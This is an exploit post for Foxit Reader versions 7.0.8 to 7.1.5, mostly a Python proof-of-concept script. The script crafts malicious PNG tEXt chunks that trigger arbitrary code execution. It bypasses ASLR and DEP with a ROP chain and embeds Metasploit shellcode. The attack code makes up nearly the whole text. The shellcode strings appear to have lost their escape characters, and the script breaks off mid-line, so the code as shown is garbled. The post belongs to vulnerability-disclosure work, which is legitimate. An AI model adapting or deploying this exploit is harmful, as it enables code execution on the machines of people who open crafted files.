Foxit Reader 7.1.5 Arbitrary Code Execution
Posted on 28 July 2015
# Exploit Title: Foxit Reader PNG Conversion Parsing tEXt chunk - Arbitrary Code Execution # Date: 07/07/2015 # Exploit Author: Sascha Schirra # Vendor Homepage: https://www.foxitsoftware.com # Software Link: https://www.foxitsoftware.com/downloads/ # Version: 7.0.8 - 7.1.5 (maybe also older versions) tested versions 7.1.5 and 7.0.8 # Tested on: Windows 7 SP1 # Vendor informed and bug confirmed: July 08th, 2015 """ This is a PoC (ASLR/DEP bypass) For ASLR bypass jrsysCrypt.dll is used, which doesn't make use of ASLR For DEP bypass a ropchain is used which call ZwProtectVirtualMemory through fastsyscall. This script looks for a tEXt chunk in a png file and replace this chunk with two other tEXt chunks. The first of them triggers the vulnerability and the second one contains a ropchain and shellcode. """ import binascii import struct import re import sys p = lambda x:struct.pack('I', x) if len(sys.argv) < 2: print('usage: %s <pngfile>' % sys.argv[0]) exit() print('Open file: %s' % sys.argv[1]) with open(sys.argv[1],'rb') as f: data = f.read() m = re.search('tEXt', data) if not m: print('No tEXt chunk') exit() print('tEXt chunk found') start = data[:m.start()-4] length = struct.unpack('>I', data[m.start()-4:m.start()])[0] end = data[m.end()+length + 4:] vulnChunk = 'tEXt ' # vulnerable because of the missing keyword vulnChunk += 'A'*8 vulnChunk += p(0x10041a14) # xchg eax, ecx; ret; vulnChunk += p(0x10067e0a) # xchg eax, ebp; add byte ptr [eax], al; add esp, 4; ret; vulnChunk += 'AAAA' vulnChunk += p(0x10013d24) # mov esp, ebp; pop ebp; ret; vulnChunk += 'A'*16 vulnChunk += 'x0axd2' # Partial Overwrite This have to be changed on each system. Another solution is needed here. vulnlen = struct.pack('>I', 0x2b) # length os 0x2b is needed to overwrite 2 bytes of the this pointer. vulnChunkCRC32 = struct.pack('>i',binascii.crc32(vulnChunk)) secondChunk = 'AAA '*(580) secondChunk += p(0x10009b40) # Pointer to the following gadget: MOV EDX,DWORD PTR SS:[ESP+2C]; MOV EAX,DWORD PTR SS:[ESP+28]; PUSH EDX; MOV EDX,DWORD PTR SS:[ESP+24]; PUSH EAX; PUSH ESI; PUSH EDX; PUSH EDI; CALL DWORD PTR DS:[ECX+14] secondChunk += p(0x1007c853) # pop esi; pop edi; pop ebx; pop ebp; ret; secondChunk += p(0x1000ba26) # xchg eax, esp; rcr byte ptr [esi + 0x5d], 0x40; pop ebx; add esp, 0x18; ret; secondChunk += 'AAAA'*2 secondChunk += p(0x1006265d) # mov eax, dword ptr [esp + 0xc]; push eax; call dword ptr [ecx + 8]; # calc shellcode - metasploit buf = "x83xc4xce" buf += "xdaxc8xbbx15xeex3ax64xd9x74x24xf4x5dx33" buf += "xc9xb1x30x31x5dx18x83xedxfcx03x5dx01x0c" buf += "xcfx98xc1x52x30x61x11x33xb8x84x20x73xde" buf += "xcdx12x43x94x80x9ex28xf8x30x15x5cxd5x37" buf += "x9exebx03x79x1fx47x77x18xa3x9axa4xfax9a" buf += "x54xb9xfbxdbx89x30xa9xb4xc6xe7x5exb1x93" buf += "x3bxd4x89x32x3cx09x59x34x6dx9cxd2x6fxad" buf += "x1ex37x04xe4x38x54x21xbexb3xaexddx41x12" buf += "xffx1exedx5bx30xedxefx9cxf6x0ex9axd4x05" buf += "xb2x9dx22x74x68x2bxb1xdexfbx8bx1dxdfx28" buf += "x4dxd5xd3x85x19xb1xf7x18xcdxc9x03x90xf0" buf += "x1dx82xe2xd6xb9xcfxb1x77x9bxb5x14x87xfb" buf += "x16xc8x2dx77xbax1dx5cxdaxd0xe0xd2x60x96" buf += "xe3xecx6ax86x8bxddxe1x49xcbxe1x23x2ex23" buf += "xa8x6ex06xacx75xfbx1bxb1x85xd1x5fxccx05" buf += "xd0x1fx2bx15x91x1ax77x91x49x56xe8x74x6e" buf += "xc5x09x5dx0dx88x99x3dxd2" shellcode=buf rop = '' # Write Size to data section rop += p(0x1002d346) #pop eax; ret rop += p(0x100aa004) # data section rop += p(0x100012ca) #pop ecx; ret rop += p(0x1000) # Write baseaddr (esp) to data section rop += p(0x1001dd25) #mov dword ptr [eax], ecx; ret; rop += p(0x1007b25c) #push esp; add eax, 0x20; pop ebx; ret; rop += p(0x1002d346) #pop eax; ret rop += p(0x100aa008) # data section rop += p(0x1004eacc) #mov dword ptr [eax], ebx; pop ebx; ret; rop += p(0xdeadc0de) # dereference syscall and call it rop += p(0x1002d346) #pop eax; ret rop += p(0x7ffe0300) # fastsyscall rop += p(0x10010ff4) #mov ecx, dword ptr [eax]; mov eax, [ecx]; ret; rop += p(0x1002d346) #pop eax; ret rop += p(0xd7) #syscall rop += p(0x10081541) #push ecx;cld; ret rop += p(0x100801f5) # 6xpop; ret rop += p(0xdeadc0de) rop += p(0xffffffff) rop += p(0x100aa008) # datasection Pointer to baseaddress rop += p(0x100aa004) # datasection Pointer to size rop += p(0x40) rop += p(0x100aa00c) rop += p(0x1006c63b) # push esp, ret rop += shellcode secondChunk +=rop secondChunk += 'A'*4000 secondChunk = secondChunk[:4000] secondChunkLen = struct.pack('>i', len(secondChunk)+1) secondChunk = 'tEXt'+'